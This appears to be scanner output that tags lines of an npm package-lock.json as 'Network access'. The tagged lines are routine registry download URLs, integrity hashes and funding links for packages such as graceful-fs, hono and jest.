    "version": "4.2.11",       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",       "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
  • Network accessline 3323
    "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
  • Network accessline 3328
    "node_modules/has-flag": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
  • Network accessline 3329
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",       "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
  • Network accessline 3330
    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
  • Network accessline 3338
    "node_modules/has-symbols": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
  • Network accessline 3339
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",       "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
  • Network accessline 3340
    "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
  • Network accessline 3346
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3347
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 3348
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3351
    "node_modules/has-tostringtag": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
  • Network accessline 3352
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",       "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
  • Network accessline 3353
    "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
  • Network accessline 3362
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3363
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 3364
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3367
    "node_modules/hasown": {       "version": "2.0.3",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz",
  • Network accessline 3368
    "version": "2.0.3",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz",       "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==",
  • Network accessline 3369
    "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz",
  • Network accessline 3380
    "node_modules/hono": {       "version": "4.13.13",       "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.13.tgz",
  • Network accessline 3381
    "version": "4.13.13",       "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.13.tgz",       "integrity": "sha512-CQ46U0ZkAGmbT/4UxdzzGJpacP2IeKgY4a5/tOI9AABbpOMfK739wfDXmv1usCk+3RkKj1hQy4/fjhiwa2xlrA==",
  • Network accessline 3382
    "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.13.tgz",
  • Network accessline 3391
    "node_modules/html-encoding-sniffer": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz",
  • Network accessline 3392
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz",       "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ=="
  • Network accessline 3393
    "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz",
  • Network accessline 3404
    "node_modules/html-escaper": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
  • Network accessline 3405
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",       "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
  • Network accessline 3406
    "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
  • Network accessline 3411
    "node_modules/http-errors": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
  • Network accessline 3412
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",       "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
  • Network accessline 3413
    "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
  • Network accessline 3428
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 3429
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 3430
    "url": "https://opencollective.com/express"
  • Network accessline 3433
    "node_modules/http-proxy-agent": {       "version": "7.0.2",       "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
  • Network accessline 3434
    "version": "7.0.2",       "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",       "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==",
  • Network accessline 3435
    "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
  • Network accessline 3447
    "node_modules/https-proxy-agent": {       "version": "7.0.6",       "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
  • Network accessline 3448
    "version": "7.0.6",       "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",       "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==",
  • Network accessline 3449
    "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
  • Network accessline 3461
    "node_modules/human-signals": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
  • Network accessline 3462
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",       "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==",
  • Network accessline 3463
    "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
  • Network accessline 3471
    "node_modules/iconv-lite": {       "version": "0.6.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
  • Network accessline 3472
    "version": "0.6.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",       "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
  • Network accessline 3473
    "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
  • Network accessline 3484
    "node_modules/import-local": {       "version": "3.2.0",       "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz",
  • Network accessline 3485
    "version": "3.2.0",       "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz",       "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==",
  • Network accessline 3486
    "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz",
  • Network accessline 3499
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3500
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 3501
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3504
    "node_modules/imurmurhash": {       "version": "0.1.4",       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
  • Network accessline 3505
    "version": "0.1.4",       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",       "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
  • Network accessline 3506
    "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
  • Network accessline 3514
    "node_modules/inflight": {       "version": "1.0.6",       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
  • Network accessline 3515
    "version": "1.0.6",       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",       "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
  • Network accessline 3516
    "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",       "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",       "deprecated": "This module is not supported,
  • Network accessline 3526
    "node_modules/inherits": {       "version": "2.0.4",       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
  • Network accessline 3527
    "version": "2.0.4",       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",       "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
  • Network accessline 3528
    "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
  • Network accessline 3533
    "node_modules/ip-address": {       "version": "10.7.3",       "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.3.tgz",
  • Network accessline 3534
    "version": "10.7.3",       "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.3.tgz",       "integrity": "sha512-A1kdq/tSb5QjvKvAMgIoEvDBIgL7qaqVP/jkvSwYYRZ9iEzvPpopxp2wQfu3SuZRHtpHNxMn8Fs0bS+gf5Xmwg==",
  • Network accessline 3535
    "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.3.tgz",
  • Network accessline 3544
    "node_modules/ipaddr.js": {       "version": "1.9.1",       "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
  • Network accessline 3545
    "version": "1.9.1",       "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",       "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
  • Network accessline 3546
    "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
  • Network accessline 3555
    "node_modules/is-arrayish": {       "version": "0.2.1",       "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
  • Network accessline 3556
    "version": "0.2.1",       "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",       "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
  • Network accessline 3557
    "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
  • Network accessline 3562
    "node_modules/is-core-module": {       "version": "2.16.1",       "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
  • Network accessline 3563
    "version": "2.16.1",       "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",       "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",
  • Network accessline 3564
    "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
  • Network accessline 3573
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3574
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 3575
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3578
    "node_modules/is-fullwidth-code-point": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
  • Network accessline 3579
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQ
  • Network accessline 3580
    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
  • Network accessline 3588
    "node_modules/is-generator-fn": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
  • Network accessline 3589
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",       "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==",
  • Network accessline 3590
    "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
  • Network accessline 3598
    "node_modules/is-number": {       "version": "7.0.0",       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
  • Network accessline 3599
    "version": "7.0.0",       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",       "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
  • Network accessline 3600
    "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
  • Network accessline 3608
    "node_modules/is-potential-custom-element-name": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
  • Network accessline 3609
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",       "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmP
  • Network accessline 3610
    "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
  • Network accessline 3615
    "node_modules/is-promise": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",
  • Network accessline 3616
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",       "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==",
  • Network accessline 3617
    "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",
  • Network accessline 3623
    "node_modules/is-stream": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
  • Network accessline 3624
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",       "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
  • Network accessline 3625
    "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
  • Network accessline 3631
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3632
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 3633
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3636
    "node_modules/isexe": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 3637
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",       "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
  • Network accessline 3638
    "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 3643
    "node_modules/istanbul-lib-coverage": {       "version": "3.2.2",       "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz",
  • Network accessline 3644
    "version": "3.2.2",       "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz",       "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg=="
  • Network accessline 3645
    "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz",
  • Network accessline 3653
    "node_modules/istanbul-lib-instrument": {       "version": "6.0.3",       "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz",
  • Network accessline 3654
    "version": "6.0.3",       "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz",       "integrity": "sha512-Vtgk7L/R2JHyyGW07spoFlB8/lpjiOLTjMdms6AFMraYt3BaJauod/NGrfnVG/y4Ix1JEuMRPDPEj2ua+zz1/
  • Network accessline 3655
    "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz",
  • Network accessline 3670
    "node_modules/istanbul-lib-report": {       "version": "3.0.1",       "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz",
  • Network accessline 3671
    "version": "3.0.1",       "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz",       "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==",
  • Network accessline 3672
    "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz",
  • Network accessline 3685
    "node_modules/istanbul-lib-source-maps": {       "version": "4.0.1",       "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
  • Network accessline 3686
    "version": "4.0.1",       "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",       "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/Mr
  • Network accessline 3687
    "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
  • Network accessline 3700
    "node_modules/istanbul-reports": {       "version": "3.2.0",       "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz",
  • Network accessline 3701
    "version": "3.2.0",       "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz",       "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==",
  • Network accessline 3702
    "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz",
  • Network accessline 3714
    "node_modules/jest": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz",
  • Network accessline 3715
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz",       "integrity": "sha512-NIy3oAFp9shda19hy4HK0HRTWKtPJmGdnvywu01nOqNC2vZg+Z+fvJDxpMQA88eb2I9EcafcdjYgsDthnYTvGw==",
  • Network accessline 3716
    "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz",
  • Network accessline 3741
    "node_modules/jest-changed-files": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz",
  • Network accessline 3742
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz",       "integrity": "sha512-fEArFiwf1BpQ+4bXSprcDc3/x4HSzL4al2tozwVpDFpsxALjLYdyiIK4e5Vz66GQJIbXJ82+35PtysofptNX2w==",
  • Network accessline 3743
    "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz",
  • Network accessline 3756
    "node_modules/jest-circus": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz",
  • Network accessline 3757
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz",       "integrity": "sha512-3E1nCMgipcTkCocFwM90XXQab9bS+GMsjdpmPrlelaxwD93Ad8iVEjX/vvHPdLPnFf+L40u+5+iutRdA1N9myw==",
  • Network accessline 3758
    "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz",
  • Network accessline 3788
    "node_modules/jest-cli": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz",
  • Network accessline 3789
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz",       "integrity": "sha512-OVVobw2IubN/GSYsxETi+gOe7Ka59EFMR/twOU3Jb2GnKKeMGJB5SGUUrEz3SFVmJASUdZUzy83sLNNQ2gZslg==",
  • Network accessline 3790
    "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz",
  • Network accessline 3822
    "node_modules/jest-config": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz",
  • Network accessline 3823
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz",       "integrity": "sha512-uXbpfeQ7R6TZBqI3/TxCU4q4ttk3u0PJeC+E0zbfSoSjq6bJ7buBPxzQPL0ifrkY4DNu4JUdk0ImlBUYi840eQ==",
  • Network accessline 3824
    "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz",
  • Network accessline 3868
    "node_modules/jest-diff": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz",
  • Network accessline 3869
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz",       "integrity": "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw==",
  • Network accessline 3870
    "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz",
  • Network accessline 3884
    "node_modules/jest-docblock": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz",
  • Network accessline 3885
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz",       "integrity": "sha512-q617Auw3A612guyaFgsbFeYpNP5t2aoUNLwBUbc/0kD1R4t9ixDbyFTHd1nok4epoVFpr7PmeWHrhvuV3XaJ4g==",
  • Network accessline 3886
    "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz",
  • Network accessline 3897
    "node_modules/jest-each": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz",
  • Network accessline 3898
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz",       "integrity": "sha512-gns+Er14+ZrEoC5fhOfYCY1LOHHr0TI+rQUHZS8Ttw2l7gl+80eHc/gFf2Ktkw0+SIACDTeWvpFcv3B04VembQ==",
  • Network accessline 3899
    "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz",
  • Network accessline 3914
    "node_modules/jest-environment-node": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz",
  • Network accessline 3915
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz",       "integrity": "sha512-DOSwCRqXirTOyheM+4d5YZOrWcdu0LNZ87ewUoywbcb2XR4wKgqiG8vNeYwhjFMbEkfju7wx2GYH0P2gevGvFw=
  • Network accessline 3916
    "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz",
  • Network accessline 3932
    "node_modules/jest-get-type": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz",
  • Network accessline 3933
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz",       "integrity": "sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==",
  • Network accessline 3934
    "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz",
  • Network accessline 3942
    "node_modules/jest-haste-map": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz",
  • Network accessline 3943
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz",       "integrity": "sha512-fP8u2pyfqx0K1rGn1R9pyE0/KTn+G7PxktWidOBTqFPLYX0b9ksaMFkhK5vrS3DVun09pckLdlx90QthlW7AmA==",
  • Network accessline 3944
    "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz",
  • Network accessline 3968
    "node_modules/jest-leak-detector": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz",
  • Network accessline 3969
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz",       "integrity": "sha512-kYA8IJcSYtST2BY9I+SMC32nDpBT3J2NvWJx8+JCuCdl/CR1I4EKUJROiP8XtCcxqgTTBGJNdbB1A8XRKbTetw==",
  • Network accessline 3970
    "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz",
  • Network accessline 3982
    "node_modules/jest-matcher-utils": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz",
  • Network accessline 3983
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz",       "integrity": "sha512-sBkD+Xi9DtcChsI3L3u0+N0opgPYnCRPtGcQYrgXmR+hmt/fYfWAL0xRXYU8eWOdfuLgBe0YCW3AFtnRLagq/g==",
  • Network accessline 3984
    "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz",
  • Network accessline 3998
    "node_modules/jest-message-util": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz",
  • Network accessline 3999
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz",       "integrity": "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w==",
  • Network accessline 4000
    "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz",
  • Network accessline 4019
    "node_modules/jest-mock": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz",
  • Network accessline 4020
